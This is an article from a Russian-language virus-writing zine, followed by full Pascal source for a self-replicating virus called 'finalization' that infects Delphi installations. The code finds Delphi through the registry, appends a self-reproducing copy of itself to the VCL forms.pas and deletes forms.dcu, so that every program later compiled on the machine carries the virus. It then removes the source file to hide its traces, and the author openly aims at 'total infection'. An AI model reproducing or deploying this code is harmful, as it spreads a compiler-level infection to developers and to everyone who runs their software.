/*-----------------------------------------------------------------------*/
 /*                       R I N G 0,    I S S U E   # 1                   */
 /*-----------------------------------------------------------------------*/

                  ВНЕДРЕНИЕ В DELPHI: finalization v1.0

                                                      by Santa [SBVC]

Идея:

 В любой проге на дельфях в начале каждого модуля есть такие строки:

     uses  Windows,  Messages,  SysUtils,  Classes,  Graphics, Controls,
Forms, Dialogs, StdCtrls, ComCtrls, ExtCtrls, Registry;

     Ну или примерно такие. Они (эти строки) подключают к данному модулю
другие  модули  (Windows.pas,  Messages.pas  и  т.д.)  А  каждый из этих
модулей (собственно и наш модуль тоже) выглядит так:

 unit Unit1;

 interface

 uses Unit2, Unit3;

 procedure proc1;
 procedure proc2;

 implementation

 procedure proc1;
 begin
   DoSomething;
 end;

 procedure proc2;
 begin
   DoSomething;
 end;

 procedure InitProc1;
 begin
   DoSomething;
 end;

 procedure InitProc2;
 begin
   DoSomething;
 end;

 procedure UninitProc1;
 begin
   DoSomething;
 end;

 procedure UninitProc2;
 begin
   DoSomething;
 end;


 initialization
   InitProc1;
   InitProc2;

 finalization
   UninitProc1;
   UninitProc2;

 end.

     Наибольший    интерес    представляют    секции    initialization и
finalization  (не  путать  с секциями в pe exe). Все что находится после
слова  initialization  исполняется  при  старте программы, все что после
finalization   при   ее  завершении.  Т.е.  мы  можем  взять  к  примеру
windows.pas    и    чего-нибудь    подписать   в   секцию   finalization
(initialization)   и   это   дело   будет  исполняться  каждый  раз  при
завершении  (старте)  ентой  проги.  Я  даже  скажу  больше  любой проги
скомпилированной  при  помощи  дельфей  на  данной  тачке. Но не все так
просто  Borland  (он  же  Inprise)  для ускорения компиляции изобрел так
называемые  Delphi  Compiled Units (*.dcu файлы) и вместо windows.pas мы
имеем  windows.dcu.  Формат  этих дкушников Borland вроде не публиковал,
судя по всему это обычные *.obj файлы с некоторыми усовершенствованиями.
Обойти  это  можно  следующим  образом:  у  дельфей  есть директория под
названием  Sources,  там  и  хранятся  *.pas  файлы.  Получаем  алгоритм
заражения:

  1. Найти нужный файл в Sources.
  2. Скопировать в Lib.
  3. Дописать в файл чего-нибудь этакое.
  4. Удалить соответствующий *.dcu файл.
  5. Когда он появиться вновь (т.е. когда компиляция уже произошла) удалить
     *.pas файл, это нужно для заметания следов.

     С  этого момента можно считать что каждая прога сделанная в дельфях
несет  в  себе  наш код, чего собственно все вирмейкеры и добиваются. Но
тут  возникает  другая  проблема  (которая  не  разрешима) - эту славную
директорию  Sources  имеют  не  все,  не  все же любители поковыряться в
сырцах.  :(  Есть  и  плюсы,  т.к. формат *.dcu файлов не опубликован то
значит  и  найти  в  нем  наш  код  будет  не легко. :) Имеется еще одна
проблема  - нужно написать такой код, который после своей компиляции мог
бы  сгенерировать  свой  исходный  текст.  С  обычными вирами все просто
копируй VirSize байт начиная с VirStart. В макро посуществу все делается
за  нас  т.к.  нам  доступен  исходный текст как бы из вне. Решение всех
проблем  приводится  ниже,  вставьте  эту  процедурку  в  свою прогу (не
забудьте  ее  где-нибудь вызвать), запустите ее один раз и посмотрите на
файл  под названием forms.pas в директории Lib (точнее на его конец) там
будет (я надеюсь) процедура явно сотворенная не Borland'ом. Теперь лучше
всего  закрыть  дельфя и запустить их снова, создайте новое приложение и
нажмите  F9, в папке Lib файл forms.pas исчезнет зато появится forms.dcu
:)  Таперича  компиляйте чего хотите и как хотите результат будет один -
тотальное заражение всего вами откомпилированного.

 Да, чуть не забыл сделайте резервную копию forms.dcu... THE END

     P.S.  К  статье  прилагается  готовая прога (final.rar), с ней надо
проделать  выше  описанную  процедуру.  Хотя  можно  и  не проделывать -
имеется готовый экзэшник.

<-------------------------------- cut here ------------------------------------>

procedure Vir;
const
  VirName = 'finalization';
  min = 'Minor';
  fin = VirName;
  pname = 'UninitActiveApplication;';
  pas = '\forms.pas';
  dcu = '\forms.dcu';
  del = 'Software\Borland\Delphi\';

var
  hk: HKEY;
  path: String;
  l, t: Integer;
  lst, p, w: TStringList;
  v: Byte;

  procedure Write(const s: String);
  begin
    p.Add(s);
    w.Add('Write(' + QuotedStr(s) + ');');
  end;

begin
  for v := 3 to 8 do begin
    try
      if RegOpenKeyEx(HKEY_LOCAL_MACHINE, PChar(del + Char(Byte(v) + Byte('0')) + '.0'), 0, 0, hk) = 0 then begin
        l := MAX_PATH;
        SetLength(path, l);
        RegQueryValueEx(hk, 'RootDir', nil, nil, PByte(path), @l);
        path := PChar(path);
        if RegQueryValueEx(hk, min, nil, nil, nil, @l) <> 0 then begin
          RegSetValueEx(hk, min, 0, REG_DWORD, @l, 4);
          RegCloseKey(hk);
          lst := TStringList.Create;
          lst.LoadFromFile(path + '\source\vcl' + pas);
          l := lst.Count - 1;
          while (l <> -1) and not AnsiSameText(Trim(lst[l]), fin) do Dec(l);
          if l = -1 then begin
            l := lst.Count-1;
            while not AnsiSameText(Trim(lst[l]), 'end.') do Dec(l);
            Dec(l);
            lst.Insert(l, pname);
            lst.Insert(l, fin);
          end
          else
            lst.Insert(l+1,pname);
          t := lst.Count - 1;
          while(t <> -1) and not AnsiSameText(Trim(lst[t]), 'initialization') do Dec(t);
          if t = -1 then t := l;
          p := TStringList.Create;
          w := TStringList.Create;
          Write('procedure UninitActiveApplication;');
          Write('const VirName=''finalization'';min=''Minor'';fin=VirName;pname=''UninitActiveApplication;'';pas=''\forms.pas'';dcu=''\forms.dcu'';del=''Software\Borland\Delphi\'';');
          Write('var hk:HKEY;path:String;l,t:Integer;lst,p,w:TStringList;v:Byte;');
          Write('procedure Write(const s:String);begin p.Add(s);w.Add(''Write('' + QuotedStr(s) + '');'');end;');
          Write('begin for v:=3 to 8 do begin try if RegOpenKeyEx(HKEY_LOCAL_MACHINE,PChar(del+Char(Byte(v)+Byte(''0''))+''.0''),0,0,hk)=0 then begin');
          Write('l:=MAX_PATH;SetLength(path,l);RegQueryValueEx(hk,''RootDir'',nil,nil,PByte(path),@l);path:=PChar(path);');
          Write('if RegQueryValueEx(hk,min,nil,nil,nil,@l)<>0 then begin');
          Write('RegSetValueEx(hk,min,0,REG_DWORD,@l,4);RegCloseKey(hk);lst:=TStringList.Create;');
          Write('lst.LoadFromFile(path+''\source\vcl''+pas);l:=lst.Count-1;');
          Write('while(l<>-1)and not AnsiSameText(Trim(lst[l]),fin) do Dec(l);');
          Write('if l=-1 then begin l:=lst.Count-1;while not AnsiSameText(Trim(lst[l]),''end.'') do Dec(l);');
          Write('Dec(l);lst.Insert(l,pname);lst.Insert(l,fin);end else lst.Insert(l+1,pname);');
          Write('t:=lst.Count-1;while(t<>-1)and not AnsiSameText(Trim(lst[t]),''initialization'') do Dec(t);');
          Write('if t=-1 then t:=l;p:=TStringList.Create;w:=TStringList.Create;');
          Write('for l:=p.Count-1 downto p.Count-6 do lst.Insert(t,p[l]);');
          Write('for l:=w.Count-1 downto 0 do lst.Insert(t,w[l]);');
          Write('for l:=p.Count-7 downto 0 do lst.Insert(t,p[l]);');
          Write('lst.SaveToFile(path+''\lib''+pas);DeleteFile(path+''\lib''+dcu);lst.Free;p.Free;w.Free;end');
          Write('else begin RegCloseKey(hk);if FileExists(path+''\lib''+dcu) then DeleteFile(path+''\lib''+pas);');
          Write('end;end;except end;end;end;');
          for l := p.Count - 1 downto p.Count - 6 do lst.Insert(t, p[l]);
          for l := w.Count - 1 downto 0 do lst.Insert(t, w[l]);
          for l := p.Count - 7 downto 0 do lst.Insert(t, p[l]);
          lst.SaveToFile(path + '\lib' + pas);
          DeleteFile(path + '\lib' + dcu);
          lst.Free;
          p.Free;
          w.Free;
        end
        else begin
          RegCloseKey(hk);
          if FileExists(path + '\lib' + dcu) then DeleteFile(path + '\lib' + pas);
        end;
      end;
    except
    end;
  end;
end;